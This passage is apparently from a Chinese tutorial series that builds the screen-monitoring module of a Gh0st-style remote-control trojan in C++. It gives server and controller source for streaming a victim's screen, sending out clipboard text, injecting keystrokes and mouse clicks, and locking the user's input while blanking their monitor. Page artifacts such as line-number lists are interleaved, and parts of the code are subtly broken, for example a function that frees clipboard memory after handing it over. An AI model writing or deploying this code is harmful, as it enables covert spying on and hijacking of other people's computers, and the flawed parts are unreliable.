    	m_lpbmi_rect	= ConstructBI(m_biBitCount, m_nFullWidth, 1);
    //根据设备 DC 位图结构  创建一个 BItmap 
    	m_hLineBitmap	= ::CreateDIBSection(m_hFullDC, m_lpbmi_line, DIB_RGB_COLORS, &m_lpvLineBits, NULL, NULL);
    	m_hFullBitmap	= ::CreateDIBSection(m_hFullDC, m_lpbmi_full, DIB_RGB_COLORS, &m_lpvFullBits, NULL, NULL);
    	m_hDiffBitmap	= ::CreateDIBSection(m_hFullDC, m_lpbmi_full, DIB_RGB_COLORS, &m_lpvDiffBits, NULL, NULL);
    
    
    // 用 设备的 DC 创建 位图 图像 结构  保存在这  中缓冲区内
    // 保证 不用保存成文件 进行发送给 主控 为位图分配了  内存空间  
    //  HBITMAP m_hLineBitmap, m_hFullBitmap;
    
    	::SelectObject(m_hFullMemDC, m_hFullBitmap);
    	::SelectObject(m_hLineMemDC, m_hLineBitmap);
    	::SelectObject(m_hDiffMemDC, m_hDiffBitmap);
    	// 将内存DC  与  BITMAP 联系起来
    	::SetRect(&m_changeRect, 0, 0, m_nFullWidth, m_nFullHeight);
        
    	// 足够了
    	m_rectBuffer = new BYTE[m_lpbmi_full->bmiHeader.biSizeImage * 2];
    	m_nDataSizePerLine = m_lpbmi_full->bmiHeader.biSizeImage / m_nFullHeight;
    
    	m_rectBufferOffset = 0;
    }
         
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17
    • 18
    • 19
    • 20
    • 21
    • 22
    • 23
    • 24
    • 25
    • 26
    • 27
    • 28
    • 29
    • 30
    • 31
    • 32
    • 33
    • 34
    • 35
    • 36
    • 37
    • 38
    • 39
    • 40
    • 41
    • 42
    • 43
    • 44
    • 45
    • 46
    • 47
    • 48
    • 49
    • 50
    • 51
    • 52
    • 53
    • 54
    • 55
    • 56
    • 57
    • 58
    • 59
    • 60
    • 61
    • 62
    • 63
    • 64
    • 65
    • 66
    • 67
    • 68
    • 69
    • 70
    • 71
    • 72
    • 73
    • 74

    在这里插入图片描述

    ConstructBI 函数定义

    为了创建位图的 结构

    LPBITMAPINFO CScreenSpy::ConstructBI(int biBitCount, int biWidth, int biHeight)
    {
    /*
    biBitCount 为1 (黑白二色图)4 (16 色图)8 (256 色图) 时由颜色表项数指出颜色表大小
    biBitCount 为16 (16 位色图)24 (真彩色图, 不支持)32 (32 位色图) 时没有颜色表
    	*/
    	int	color_num = biBitCount <= 8 ? 1 << biBitCount : 0;
    	
    	int nBISize = sizeof(BITMAPINFOHEADER) + (color_num * sizeof(RGBQUAD));
    	BITMAPINFO	*lpbmi = (BITMAPINFO *) new BYTE[nBISize];
    	
    	BITMAPINFOHEADER	*lpbmih = &(lpbmi->bmiHeader);
    	lpbmih->biSize = sizeof(BITMAPINFOHEADER);
    	lpbmih->biWidth = biWidth;
    	lpbmih->biHeight = biHeight;
    	lpbmih->biPlanes = 1;
    	lpbmih->biBitCount = biBitCount;
    	lpbmih->biCompression = BI_RGB;
    	lpbmih->biXPelsPerMeter = 0;
    	lpbmih->biYPelsPerMeter = 0;
    	lpbmih->biClrUsed = 0;
    	lpbmih->biClrImportant = 0;
    	lpbmih->biSizeImage = (((lpbmih->biWidth * lpbmih->biBitCount + 31) & ~31) >> 3) * lpbmih->biHeight;
    	
    	// 16位和以后的没有颜色表,直接返回
    	if (biBitCount >= 16)
    		return lpbmi;
    	/*
    	Windows 95和Windows 98:如果lpvBits参数为NULL并且GetDIBits成功地填充了BITMAPINFO结构,那么返回值为位图中总共的扫描线数。
    	
        Windows NT:如果lpvBits参数为NULL并且GetDIBits成功地填充了BITMAPINFO结构,那么返回值为非0。如果函数执行失败,那么将返回0值。Windows NT:若想获得更多错误信息,请调用callGetLastError函数。
    	*/
    
    	HDC	hDC = GetDC(NULL);
    	HBITMAP hBmp = CreateCompatibleBitmap(hDC, 1, 1); // 高宽不能为0
    	GetDIBits(hDC, hBmp, 0, 0, NULL, lpbmi, DIB_RGB_COLORS);
    	ReleaseDC(NULL, hDC);
    	DeleteObject(hBmp);
    
    	if (m_bIsGray)
    	{
    		for (int i = 0; i < color_num; i++)
    		{
    			int color = RGB2GRAY(lpbmi->bmiColors[i].rgbRed, lpbmi->bmiColors[i].rgbGreen, lpbmi->bmiColors[i].rgbBlue);
    			lpbmi->bmiColors[i].rgbRed = lpbmi->bmiColors[i].rgbGreen = lpbmi->bmiColors[i].rgbBlue = color;
    		}
    	}
    
    	return lpbmi;	
    }
     
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17
    • 18
    • 19
    • 20
    • 21
    • 22
    • 23
    • 24
    • 25
    • 26
    • 27
    • 28
    • 29
    • 30
    • 31
    • 32
    • 33
    • 34
    • 35
    • 36
    • 37
    • 38
    • 39
    • 40
    • 41
    • 42
    • 43
    • 44
    • 45
    • 46
    • 47
    • 48
    • 49
    • 50
    • 51

    sendFirstScreen

    7.5 服务端编写

    Screen类

    ScreenManager.h和ScreenManager.cpp,我们自己再重新写一遍这个类,

    ScreenSpy这个类完整的成熟的类

    添加insert New class

    添加CScreenManager这个类他的父类为CManager(注意他的文件位置) common下
    在这里插入图片描述
    添加CScreenManager这个类他的父类为CManager(注意他的文件位置)

    添加构造函数的参数

    
    
    
    // screenmanager.cpp
    //#include "stdafx.h"
    CScreenManager::CScreenManager(CClientSocket *pClient):CManager(pClient)
    {.h文件中添加成员变量:
    
    #include "ScreenSpy.h"
    
    public:
    	bool m_bIsWorking;
    	bool m_bIsBlockInput;
    	bool m_bIsBlankScreen;
    private:
    		BYTE	m_bAlgorithm;
    		bool	m_bIsCaptureLayer;
    		int	m_biBitCount;
    		HANDLE	m_hWorkThread, m_hBlankThread;
    		CCursorInfo	m_CursorInfo;
    	     CScreenSpy	*m_pScreenSpy;
    
    
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17
    • 18
    • 19
    • 20
    • 21
    • 22
    • 23
    • 24
    • 25
    • 26
    • 27

    初始化构造函数变量
    创建两个线程

     	m_bAlgorithm = ALGORITHM_SCAN;            //屏幕扫描算法
    	m_biBitCount = 8;
    	m_pScreenSpy = new CScreenSpy(8);          //CScreenSpy类
    	m_bIsWorking = true;
    	m_bIsBlankScreen = false;
    	m_bIsBlockInput = false;
    	m_bIsCaptureLayer = false;
        //启动两个功能 看字义我们就知道ControlThread用于主控端对服务端的控制
    	//我们由浅入深 先看一下ControlThread的功能转到这个函数
    	
    	//接着分析WorkThread函数
    	m_hWorkThread = MyCreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)WorkThread, this, 0, NULL, true);
    	m_hBlankThread = MyCreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)ControlThread, this, 0, NULL, true);
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13

    ControlThread

    添加 static DWORD WINAPI ControlThread(LPVOID lparam);
    在这里插入图片描述

       	static	bool bIsScreenBlanked = false;
    	CScreenManager *pThis = (CScreenManager *)lparam;
    	while (pThis->IsConnect())
    	{
    		// 加快反应速度
    		for (int i = 0; i < 100; i++)
    		{
    			if (pThis->IsConnect())
    			{
    				// 分辨率大小改变了
    				if (pThis->IsMetricsChange())
    					pThis->ResetScreen(pThis->GetCurrentPixelBits());
    				Sleep(10);
    			}
    			else
    				break;
    		}
    		if (pThis->m_bIsBlankScreen)
    		{
    			SystemParametersInfo(SPI_SETPOWEROFFACTIVE, 1, NULL, 0);
    			SendMessage(HWND_BROADCAST, WM_SYSCOMMAND, SC_MONITORPOWER, (LPARAM)2);
    			bIsScreenBlanked = true;
    		}
    		else
    		{
    			if (bIsScreenBlanked)
    			{
    				SystemParametersInfo(SPI_SETPOWEROFFACTIVE, 0, NULL, 0);
    				SendMessage(HWND_BROADCAST, WM_SYSCOMMAND, SC_MONITORPOWER, (LPARAM)-1);
    				bIsScreenBlanked = false;
    			}
    		}
    		BlockInput(pThis->m_bIsBlockInput);
    		
    		// 分辨率大小改变了
    		if (pThis->IsMetricsChange())
    			pThis->ResetScreen(pThis->GetCurrentPixelBits());
    	}
    	
    	BlockInput(false);
    	
    	//这个函数只是用于处理服务端黑屏的 我们返回构造函数
    	return -1;
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17
    • 18
    • 19
    • 20
    • 21
    • 22
    • 23
    • 24
    • 25
    • 26
    • 27
    • 28
    • 29
    • 30
    • 31
    • 32
    • 33
    • 34
    • 35
    • 36
    • 37
    • 38
    • 39
    • 40
    • 41
    • 42
    • 43

    bool IsConnect()

    在这里插入图片描述
    判断 服务与主控 是否链接成功

    bool CScreenManager::IsConnect()
    {
       	return m_pClient->IsRunning();
    }
    
    • 1
    • 2
    • 3
    • 4

    bool IsMetricsChange()

    在这里插入图片描述
    屏幕分辨率是否改变

    // 屏幕分辨率是否发生改变
    bool CScreenManager::IsMetricsChange()
    {
    	LPBITMAPINFO	lpbmi =	m_pScreenSpy->getBI();   //  得到当前分辨率的位图结构
    	
    	// 跟当前分辨率 比较
    	return (lpbmi->bmiHeader.biWidth != ::GetSystemMetrics(SM_CXSCREEN)) || 
    		(lpbmi->bmiHeader.biHeight != ::GetSystemMetrics(SM_CYSCREEN));
    }
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9

    void ResetScreen(int biBitCount)

    
    重新设置屏幕的功能
    
    void CScreenManager::ResetScreen(int biBitCount)
    {
    	m_bIsWorking = false;
    	WaitForSingleObject(m_hWorkThread, INFINITE);
    	CloseHandle(m_hWorkThread);
    	
    	delete m_pScreenSpy;
    	
    	if (biBitCount == 3)		// 4位灰度
    		m_pScreenSpy = new CScreenSpy(4, true);
    	else if (biBitCount == 7)	// 8位灰度
    		m_pScreenSpy = new CScreenSpy(8, true);
    	else
    		m_pScreenSpy = new CScreenSpy(biBitCount);
    	
    	m_pScreenSpy->setAlgorithm(m_bAlgorithm);
    	m_pScreenSpy->setCaptureLayer(m_bIsCaptureLayer);
    	
    	m_biBitCount = biBitCount;
    	
    	m_bIsWorking = true;
    	m_hWorkThread = MyCreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)WorkThread, this, 0, NULL, true);
    }
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17
    • 18
    • 19
    • 20
    • 21
    • 22
    • 23
    • 24
    • 25
    • 26

    int GetCurrentPixelBits()

    int CScreenManager::GetCurrentPixelBits()
    {
       	return m_biBitCount;
    }
    
    • 1
    • 2
    • 3
    • 4

    包含#include // BlockInput解决一个编译错误

    WorkThread

    DWORD WINAPI WorkThread(LPVOID lparam)

    DWORD WINAPI CScreenManager::WorkThread(LPVOID lparam)
    {
    	CScreenManager *pThis = (CScreenManager *)lparam;
    	
    	pThis->sendBITMAPINFO();         //发送bmp位图结构
    	// 等控制端对话框打开
    	
    	pThis->WaitForDialogOpen();       //等待主控端的回应
    	
    	pThis->sendFirstScreen();         //发送第一帧的数据
    	try // 控制端强制关闭时会出错
        {
    		while (pThis->m_bIsWorking)
    			pThis->sendNextScreen();      //然后继续发送接下来的数据
    	}catch(...){};
    	
    	//看上去这个函数也很简单,他的功能来自于sendBITMAPINFO,sendFirstScreen,sendNextScreen
    	//我们要分析这三个函数就必须了解一个类CScreenSpy
    	//查看sendBITMAPINFO函数的定义证明这一点
    	return 0;
    }
    
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17
    • 18
    • 19
    • 20
    • 21
    • 22

    在这里插入图片描述

    void sendBITMAPINFO()

    void CScreenManager::sendBITMAPINFO()
    {
    	//刚才给大家看过了m_pScreenSpy这个变量的定义就是CScreenSpy类
    	//这里得到bmp结构的大小
    	DWORD	dwBytesLength = 1 + m_pScreenSpy->getBISize();
    	LPBYTE	lpBuffer = (LPBYTE)VirtualAlloc(NULL, dwBytesLength, MEM_COMMIT, PAGE_READWRITE);
    	lpBuffer[0] = TOKEN_BITMAPINFO;
    	//这里将bmp位图结构发送出去
    	memcpy(lpBuffer + 1, m_pScreenSpy->getBI(), dwBytesLength - 1);
    	Send(lpBuffer, dwBytesLength);
    	VirtualFree(lpBuffer, 0, MEM_RELEASE);
    }
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12

    void sendFirstScreen()

    void CScreenManager::sendFirstScreen()
    {
       	//这个函数也没有什么特别的就是从CScreenSpy的getFirstScreen函数中得到图像数据
    	//然后用getFirstImageSize得到数据的大小然后发送出去,我们到getFirstScreen
    	//的定义
    	BOOL	bRet = false;
    	LPVOID	lpFirstScreen = NULL;
    	
    	lpFirstScreen = m_pScreenSpy->getFirstScreen();  
    	if (lpFirstScreen == NULL)
    		return;
    	
    	DWORD	dwBytesLength = 1 + m_pScreenSpy->getFirstImageSize();
    	LPBYTE	lpBuffer = new BYTE[dwBytesLength];
    	if (lpBuffer == NULL)
    		return;
    	
    	lpBuffer[0] = TOKEN_FIRSTSCREEN;
    	memcpy(lpBuffer + 1, lpFirstScreen, dwBytesLength - 1);
    	
    	Send(lpBuffer, dwBytesLength);
    	delete [] lpBuffer;
    }
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17
    • 18
    • 19
    • 20
    • 21
    • 22
    • 23

    void sendNextScreen()

    void CScreenManager::sendNextScreen()
    {
       	//这个函数依旧很简洁 得到数据,得到数据大小,然后发送
    	//我们到getNextScreen函数的定义 
    	LPVOID	lpNetScreen = NULL;
    	DWORD	dwBytes;
    	lpNetScreen = m_pScreenSpy->getNextScreen(&dwBytes);
    	
    	if (dwBytes == 0 || !lpNetScreen)
    		return;
    	
    	DWORD	dwBytesLength = 1 + dwBytes;
    	LPBYTE	lpBuffer = new BYTE[dwBytesLength];
    	if (!lpBuffer)
    		return;
    	
    	lpBuffer[0] = TOKEN_NEXTSCREEN;
    	memcpy(lpBuffer + 1, (const char *)lpNetScreen, dwBytes);
    	
    	
    	Send(lpBuffer, dwBytesLength);
    	
    	delete [] lpBuffer;
    }
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17
    • 18
    • 19
    • 20
    • 21
    • 22
    • 23
    • 24

    void OnReceive(LPBYTE lpBuffer, UINT nSize)

    接受控制

    void CScreenManager::OnReceive(LPBYTE lpBuffer, UINT nSize)
    {
    	try
    	{
    		switch (lpBuffer[0])
    		{
    		case COMMAND_NEXT:
    			// 通知内核远程控制端对话框已打开,WaitForDialogOpen可以返回
    			NotifyDialogIsOpen();
    			break;
    		case COMMAND_SCREEN_RESET:
    			ResetScreen(*(LPBYTE)&lpBuffer[1]);
    			break;
    		case COMMAND_ALGORITHM_RESET:
    			m_bAlgorithm = *(LPBYTE)&lpBuffer[1];
    			m_pScreenSpy->setAlgorithm(m_bAlgorithm);
    			break;
    		case COMMAND_SCREEN_CTRL_ALT_DEL:
    			::SimulateCtrlAltDel();
    			break;
    		case COMMAND_SCREEN_CONTROL:
    			{
    				// 远程仍然可以操作
    				BlockInput(false);
    				ProcessCommand(lpBuffer + 1, nSize - 1);
    				BlockInput(m_bIsBlockInput);
    			}
    			break;
    		case COMMAND_SCREEN_BLOCK_INPUT: //ControlThread里锁定
    			m_bIsBlockInput = *(LPBYTE)&lpBuffer[1];
    			break;
    		case COMMAND_SCREEN_BLANK:
    			m_bIsBlankScreen = *(LPBYTE)&lpBuffer[1];
    			break;
    		case COMMAND_SCREEN_CAPTURE_LAYER:
    			m_bIsCaptureLayer = *(LPBYTE)&lpBuffer[1];
    			m_pScreenSpy->setCaptureLayer(m_bIsCaptureLayer);
    			break;
    		case COMMAND_SCREEN_GET_CLIPBOARD:
    			SendLocalClipboard();
    			break;
    		case COMMAND_SCREEN_SET_CLIPBOARD:
    			UpdateLocalClipboard((char *)lpBuffer + 1, nSize - 1);
    			break;
    		default:
    			break;
    		}
    	}catch(...){}
    }
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17
    • 18
    • 19
    • 20
    • 21
    • 22
    • 23
    • 24
    • 25
    • 26
    • 27
    • 28
    • 29
    • 30
    • 31
    • 32
    • 33
    • 34
    • 35
    • 36
    • 37
    • 38
    • 39
    • 40
    • 41
    • 42
    • 43
    • 44
    • 45
    • 46
    • 47
    • 48
    • 49

    void SendLocalClipboard()

    发送剪切板数据

    void CScreenManager::SendLocalClipboard()
    {
    	if (!::OpenClipboard(NULL))
    		return;
    	HGLOBAL hglb = GetClipboardData(CF_TEXT);
    	if (hglb == NULL)
    	{
    		::CloseClipboard();
    		return;
    	}
    	int	nPacketLen = GlobalSize(hglb) + 1;
    	LPSTR lpstr = (LPSTR) GlobalLock(hglb);    // 锁定内存
    	LPBYTE	lpData = new BYTE[nPacketLen];
    	lpData[0] = TOKEN_CLIPBOARD_TEXT;
    	memcpy(lpData + 1, lpstr, nPacketLen - 1);
    	::GlobalUnlock(hglb); 
    	::CloseClipboard();
    	Send(lpData, nPacketLen);
    	delete[] lpData;
    }
    
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17
    • 18
    • 19
    • 20
    • 21

    void ProcessCommand( LPBYTE lpBuffer, UINT nSize )

    void CScreenManager::ProcessCommand(LPBYTE lpBuffer, UINT nSize)
    {
    	// 数据包不合法
    	if (nSize % sizeof(MSG) != 0)
    		return;
    	
    	SwitchInputDesktop();
    	
    	// 命令个数
    	int	nCount = nSize / sizeof(MSG);
    	
    	// 处理多个命令
    	for (int i = 0; i < nCount; i++)
    	{
    		MSG	*pMsg = (MSG *)(lpBuffer + i * sizeof(MSG));
    		switch (pMsg->message)
    		{
    		case WM_LBUTTONDOWN:
    		case WM_LBUTTONUP:
    		case WM_RBUTTONDOWN:
    		case WM_RBUTTONUP:
    		case WM_MOUSEMOVE:
    		case WM_LBUTTONDBLCLK:
    		case WM_RBUTTONDBLCLK:
    		case WM_MBUTTONDOWN:
    		case WM_MBUTTONUP:
    			{
    				POINT point;
    				point.x = LOWORD(pMsg->lParam);
    				point.y = HIWORD(pMsg->lParam);
    				SetCursorPos(point.x, point.y);
    				SetCapture(WindowFromPoint(point));
    			}
    			break;
    		default:
    			break;
    		}
    		
    		switch(pMsg->message)
    		{
    		case WM_LBUTTONDOWN:
    			mouse_event(MOUSEEVENTF_LEFTDOWN, 0, 0, 0, 0);
    			break;
    		case WM_LBUTTONUP:
    			mouse_event(MOUSEEVENTF_LEFTUP, 0, 0, 0, 0);
    			break;
    		case WM_RBUTTONDOWN:
    			mouse_event(MOUSEEVENTF_RIGHTDOWN, 0, 0, 0, 0);
    			break;
    		case WM_RBUTTONUP:
    			mouse_event(MOUSEEVENTF_RIGHTUP, 0, 0, 0, 0);
    			break;
    		case WM_LBUTTONDBLCLK:
    			mouse_event(MOUSEEVENTF_LEFTDOWN | MOUSEEVENTF_LEFTUP, 0, 0, 0, 0);
    			mouse_event(MOUSEEVENTF_LEFTDOWN | MOUSEEVENTF_LEFTUP, 0, 0, 0, 0);
    			break;
    		case WM_RBUTTONDBLCLK:
    			mouse_event(MOUSEEVENTF_RIGHTDOWN | MOUSEEVENTF_RIGHTUP, 0, 0, 0, 0);
    			mouse_event(MOUSEEVENTF_RIGHTDOWN | MOUSEEVENTF_RIGHTUP, 0, 0, 0, 0);
    			break;
    		case WM_MBUTTONDOWN:
    			mouse_event(MOUSEEVENTF_MIDDLEDOWN, 0, 0, 0, 0);
    			break;
    		case WM_MBUTTONUP:
    			mouse_event(MOUSEEVENTF_MIDDLEUP, 0, 0, 0, 0);
    			break;
    		case WM_MOUSEWHEEL:
    			mouse_event(MOUSEEVENTF_WHEEL, 0, 0, GET_WHEEL_DELTA_WPARAM(pMsg->wParam), 0);
    			break;
    		case WM_KEYDOWN:
    		case WM_SYSKEYDOWN:
    			keybd_event(pMsg->wParam, MapVirtualKey(pMsg->wParam, 0), 0, 0);
    			break;	
    		case WM_KEYUP:
    		case WM_SYSKEYUP:
    			keybd_event(pMsg->wParam, MapVirtualKey(pMsg->wParam, 0), KEYEVENTF_KEYUP, 0);
    			break;
    		default:
    			break;
    		}
    	}	
    }
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17
    • 18
    • 19
    • 20
    • 21
    • 22
    • 23
    • 24
    • 25
    • 26
    • 27
    • 28
    • 29
    • 30
    • 31
    • 32
    • 33
    • 34
    • 35
    • 36
    • 37
    • 38
    • 39
    • 40
    • 41
    • 42
    • 43
    • 44
    • 45
    • 46
    • 47
    • 48
    • 49
    • 50
    • 51
    • 52
    • 53
    • 54
    • 55
    • 56
    • 57
    • 58
    • 59
    • 60
    • 61
    • 62
    • 63
    • 64
    • 65
    • 66
    • 67
    • 68
    • 69
    • 70
    • 71
    • 72
    • 73
    • 74
    • 75
    • 76
    • 77
    • 78
    • 79
    • 80
    • 81
    • 82

    void UpdateLocalClipboard( char *buf, int len )

    void CScreenSpyDlg::UpdateLocalClipboard(char *buf, int len)
    {
    	if (!::OpenClipboard(NULL))
    		return;
    
    	::EmptyClipboard();  // 剪切板置空
    	HGLOBAL hglbCopy = GlobalAlloc(GPTR, len);   // 分配一段内存
    	if (hglbCopy != NULL) { 
    		// Lock the handle and copy the text to the buffer.  
    		LPTSTR lptstrCopy = (LPTSTR) GlobalLock(hglbCopy); 
    		memcpy(lptstrCopy, buf, len); 
    		GlobalUnlock(hglbCopy);          // Place the handle on the clipboard.  
    		SetClipboardData(CF_TEXT, hglbCopy);
    		GlobalFree(hglbCopy);
    	}
    	CloseClipboard();
    }
    
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17
    • 18

    #define _WIN32_WINNT 0x0400 处理编译错误

    7.6 主控端的编写

    在这里插入图片描述

    添加对话框资源IDD_SCREENSPY并添加最大化最小化框
    为对话框添加相应的类CScreenSpyDlg(注意他的基类)CScreenSpyDlg更改构造函数的参数,编译处理编译错误
    .cpp中 添加全局枚举变量,和外部定义:
        enum
    {
    	IDM_CONTROL = 0x0010,
    	IDM_SEND_CTRL_ALT_DEL,
    	IDM_TRACE_CURSOR,	// 跟踪显示远程鼠标
    	IDM_BLOCK_INPUT,	// 锁定远程计算机输入
    	IDM_BLANK_SCREEN,	// 黑屏
    	IDM_CAPTURE_LAYER,	// 捕捉层
    	IDM_SAVEDIB,		// 保存图片
    	IDM_GET_CLIPBOARD,	// 获取剪贴板
    	IDM_SET_CLIPBOARD,	// 设置剪贴板
    	IDM_ALGORITHM_SCAN,	// 隔行扫描算法
    	IDM_ALGORITHM_DIFF,	// 差异比较算法
    	IDM_DEEP_1,			// 屏幕色彩深度.....
    	IDM_DEEP_4_GRAY,
    	IDM_DEEP_4_COLOR,
    	IDM_DEEP_8_GRAY,
    	IDM_DEEP_8_COLOR,
    	IDM_DEEP_16,
    	IDM_DEEP_32
    };
    // 两种算法
    #define ALGORITHM_SCAN	1	// 速度很快,但碎片太多
    #define ALGORITHM_DIFF	2	// 速度很慢,也占CPU,但是数据量都是最小的
    
    6.h添加文件中添加类的成员变量:
       
    private:
    	int	m_nBitCount;
    	bool m_bIsFirst;
    	bool m_bIsTraceCursor;
    	ClientContext* m_pContext;
    	CIOCPServer* m_iocpServer;
    	CString m_IPAddress;
    	HICON m_hIcon;
    	MINMAXINFO m_MMI;
    	HDC m_hDC, m_hMemDC, m_hPaintDC;
    	HBITMAP	m_hFullBitmap;
    	LPVOID m_lpScreenDIB;
    	LPBITMAPINFO m_lpbmi, m_lpbmi_rect;
    	UINT m_nCount;
    	UINT m_HScrollPos, m_VScrollPos;
    	HCURSOR	m_hRemoteCursor;
    	DWORD	m_dwCursor_xHotspot, m_dwCursor_yHotspot;
    	POINT	m_RemoteCursorPos;
    	BYTE	m_bCursorIndex;
    	CCursorInfo	m_CursorInfo;
            bool m_bIsCtrl;
            
     .h中 添加#include "..\..\common\CursorInfo.h" 解决编译错误 
    
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17
    • 18
    • 19
    • 20
    • 21
    • 22
    • 23
    • 24
    • 25
    • 26
    • 27
    • 28
    • 29
    • 30
    • 31
    • 32
    • 33
    • 34
    • 35
    • 36
    • 37
    • 38
    • 39
    • 40
    • 41
    • 42
    • 43
    • 44
    • 45
    • 46
    • 47
    • 48
    • 49
    • 50
    • 51
    • 52
    • 53
    • 54
    • 55

    构造函数的代码

    CScreenSpyDlg::CScreenSpyDlg(CWnd* pParent, CIOCPServer* pIOCPServer, ClientContext *pContext)
    	: CDialog(CScreenSpyDlg::IDD, pParent)
    {
    	m_iocpServer	= pIOCPServer;
    	m_pContext		= pContext;
    	m_bIsFirst		= true; // 如果是第一次打开对话框,显示提示等待信息
    	m_lpScreenDIB	= NULL;
    	char szPath[MAX_PATH];
    	GetSystemDirectory(szPath, MAX_PATH);
    	lstrcat(szPath, "\\shell32.dll");
    	m_hIcon = ExtractIcon(AfxGetApp()->m_hInstance, szPath, 17/*网上邻居图标索引*/);
    
    	sockaddr_in  sockAddr;
    	memset(&sockAddr, 0, sizeof(sockAddr));
    	int nSockAddrLen = sizeof(sockAddr);
    	BOOL bResult = getpeername(m_pContext->m_Socket,(SOCKADDR*)&sockAddr, &nSockAddrLen);
    
    	m_IPAddress = bResult != INVALID_SOCKET ? inet_ntoa(sockAddr.sin_addr) : "";
    
    	//重要的是这里,这里将服务端发送来的bmp结构头和服务端屏幕大小保存起来
    	UINT	nBISize = m_pContext->m_DeCompressionBuffer.GetBufferLen() - 1;
    	m_lpbmi = (BITMAPINFO *) new BYTE[nBISize];
    	m_lpbmi_rect = (BITMAPINFO *) new BYTE[nBISize];
    	//这里就是保存bmp位图头了
    	memcpy(m_lpbmi, m_pContext->m_DeCompressionBuffer.GetBuffer(1), nBISize);
    	memcpy(m_lpbmi_rect, m_pContext->m_DeCompressionBuffer.GetBuffer(1), nBISize);
    
    	memset(&m_MMI, 0, sizeof(MINMAXINFO));
    
    	m_bIsCtrl = false; // 默认不控制
    	m_nCount = 0;
    	m_bCursorIndex = 1;
    }
    
    
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17
    • 18
    • 19
    • 20
    • 21
    • 22
    • 23
    • 24
    • 25
    • 26
    • 27
    • 28
    • 29
    • 30
    • 31
    • 32
    • 33
    • 34
    • 35

    添加WM_CLOST消息

     void CScreenSpyDlg::OnClose()
    {
    	// TODO: 在此添加消息处理程序代码和/或调用默认值
    	m_pContext->m_Dialog[0] = 0;
    
    	closesocket(m_pContext->m_Socket);
    
    	::ReleaseDC(m_hWnd, m_hDC);
    	DeleteObject(m_hFullBitmap);
    
    	if (m_lpbmi)
    		delete m_lpbmi;
    	m_lpbmi=NULL;
    	if (m_lpbmi_rect)
    		delete m_lpbmi_rect;
    	m_lpbmi_rect=NULL;
    	SetClassLong(m_hWnd, GCL_HCURSOR, (LONG)LoadCursor(NULL, IDC_ARROW));
    
    	m_bIsCtrl = false;
    	CDialog::OnClose();
    }
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17
    • 18
    • 19
    • 20
    • 21

    重写OnInitDialog()

    BOOL CScreenSpyDlg::OnInitDialog()
    {
    	CDialog::OnInitDialog();
    
    	// TODO:  在此添加额外的初始化
    	SetIcon(m_hIcon, TRUE);			// Set big icon
    	SetIcon(m_hIcon, FALSE);		// Set small icon
    
    	//初始化菜单
    	SetClassLong(m_hWnd, GCL_HCURSOR, (LONG)LoadCursor(NULL, IDC_NO));
    	CMenu* pSysMenu = GetSystemMenu(FALSE);
    	if (pSysMenu != NULL)
    	{
    		pSysMenu->AppendMenu(MF_SEPARATOR);
    		pSysMenu->AppendMenu(MF_STRING, IDM_CONTROL, "控制屏幕(&Y)");
    		pSysMenu->AppendMenu(MF_STRING, IDM_SEND_CTRL_ALT_DEL, "发送Ctrl-Alt-Del(&K)");
    		pSysMenu->AppendMenu(MF_STRING, IDM_TRACE_CURSOR, "跟踪服务端鼠标(&T)");
    		pSysMenu->AppendMenu(MF_STRING, IDM_BLOCK_INPUT, "锁定服务端鼠标和键盘(&L)");
    		pSysMenu->AppendMenu(MF_STRING, IDM_BLANK_SCREEN, "服务端黑屏(&B)");
    		pSysMenu->AppendMenu(MF_STRING, IDM_CAPTURE_LAYER, "捕捉层(导致鼠标闪烁)(&L)");
    		pSysMenu->AppendMenu(MF_STRING, IDM_SAVEDIB, "保存快照(&S)");
